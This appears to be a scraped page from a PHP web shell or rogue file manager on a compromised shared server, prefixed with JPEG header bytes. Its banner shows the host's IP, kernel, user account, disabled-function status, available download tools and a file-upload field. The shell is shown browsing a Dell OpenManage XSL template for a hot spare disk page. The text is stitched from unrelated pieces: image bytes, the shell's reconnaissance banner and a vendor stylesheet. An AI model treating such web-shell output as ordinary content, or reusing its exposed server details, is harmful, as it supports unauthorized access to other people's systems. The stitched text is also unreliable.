����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<!-- This is the XSL to render the dedicated hot spare page. The associated web plugin is the DedicatedHotSpareWebPlugin. -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<xsl:import href="Utils.xsl"/>
<xsl:import href="adtbl.xsl"/>
<xsl:import href="vdtbl.xsl"/>
<xsl:template match="OMA">
<DataArea backpagetarget="./DataArea?plugin=com.dell.sm.webplugins.ControllerWebPlugin" ignoreJumpBar="true">
<xsl:call-template name="scripts"/>
<xsl:choose>
<xsl:when test="/OMA/ChangeMade='true'">
<AlertMessage>
<xsl:attribute name="display"><xsl:value-of select="$strTitle1"/></xsl:attribute>
</AlertMessage>
<xsl:if test="count(AssignedDHS/ArrayDisks/DCStorageObject) > 0">
<TableData>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strAssignHdr"/></xsl:attribute>
</SubHeader>
<Header>
<Data value="{$strArrayDiskDedSpare}"/>
<Data value="{$strFreeSpaceDedSpare}" />
</Header>
<xsl:for-each select="AssignedDHS/ArrayDisks/DCStorageObject">
<xsl:call-template name="AssignedDisks"/>
</xsl:for-each>
</TableData>
</xsl:if>
<xsl:if test="count(UnassignedDHS/ArrayDisks/DCStorageObject) > 0">
<TableData>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strUnassignHdr"/></xsl:attribute>
</SubHeader>
<Header>
<Data value="{$strArrayDiskDedSpare}"/>
<Data value="{$strFreeSpaceDedSpare}" />
</Header>
<xsl:for-each select="UnassignedDHS/ArrayDisks/DCStorageObject">
<xsl:call-template name="UnassignedDisks"/>
</xsl:for-each>
</TableData>
</xsl:if>
</xsl:when>
<xsl:otherwise>
<AlertMessage>
<xsl:attribute name="display"><xsl:value-of select="$strTitle2"/></xsl:attribute>
</AlertMessage>
</xsl:otherwise>
</xsl:choose>
<BottomCustomButton>
<Data>
<xsl:attribute name="display"><xsl:value-of select="$strBackToVDInfo"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.VDInfoWebPlugin&HREF=<xsl:value-of select="/OMA/HREF"/>&ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&help=vdprin</xsl:attribute>
</Data>
</BottomCustomButton>
</DataArea>
</xsl:template>
<xsl:template name="VDisk">
<Data editable="false" type="ustring">
<xsl:attribute name="name"><xsl:value-of select="$strName"/><xsl:value-of select="position()"/></xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="Name"/></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="AssignedDisks">
<xsl:variable name="ArrayDiskSize">
<xsl:value-of select="Length"/>
</xsl:variable>
<Row>
<Data name="Test" columnspacing="true" editable="false" type="usting" display="Test">
<xsl:choose>
<xsl:when test="EnclosureID">
<!-- SAS -->
<xsl:attribute name="value"><xsl:value-of select="$strADName"/><xsl:value-of select="Channel"/>:<xsl:value-of select="EnclosureID"/>:<xsl:value-of select="TargetID"/></xsl:attribute>
</xsl:when>
<xsl:otherwise>
<!-- SCSI -->
<xsl:attribute name="value">
<xsl:choose>
<xsl:when test="FormFactor = '17'">
<xsl:value-of select="$strHHHL"/> <xsl:value-of select="TargetID"/><xsl:value-of select="$strStartParen"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/><xsl:value-of select="$strEndParen"/>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$strADName"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/>
</xsl:otherwise>
</xsl:choose>
</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="format-number(($ArrayDiskSize div (1024*1024*1024)),'#,##0.00 GiB')"/></xsl:attribute>
</Data>
</Row>
</xsl:template>
<xsl:template name="UnassignedDisks">
<xsl:variable name="ArrayDiskSize">
<xsl:value-of select="Length"/>
</xsl:variable>
<Row>
<Data name="Test" columnspacing="true" editable="false" type="usting" display="Test">
<xsl:choose>
<xsl:when test="EnclosureID">
<!-- SAS -->
<xsl:attribute name="value"><xsl:value-of select="$strADName"/><xsl:value-of select="Channel"/>:<xsl:value-of select="EnclosureID"/>:<xsl:value-of select="TargetID"/></xsl:attribute>
</xsl:when>
<xsl:otherwise>
<!-- SCSI -->
<!--xsl:attribute name="value"><xsl:value-of select="$strADName"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/></xsl:attribute-->
<xsl:attribute name="value">
<xsl:choose>
<xsl:when test="FormFactor = '17'">
<xsl:value-of select="$strHHHL"/> <xsl:value-of select="TargetID"/><xsl:value-of select="$strStartParen"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/><xsl:value-of select="$strEndParen"/>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$strADName"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/>
</xsl:otherwise>
</xsl:choose>
</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</Data>
<Data>
<xsl:attribute name="value"><xsl:value-of select="format-number(($ArrayDiskSize div (1024*1024*1024)),'#,##0.00 GiB')"/></xsl:attribute>
</Data>
</Row>
</xsl:template>
</xsl:stylesheet>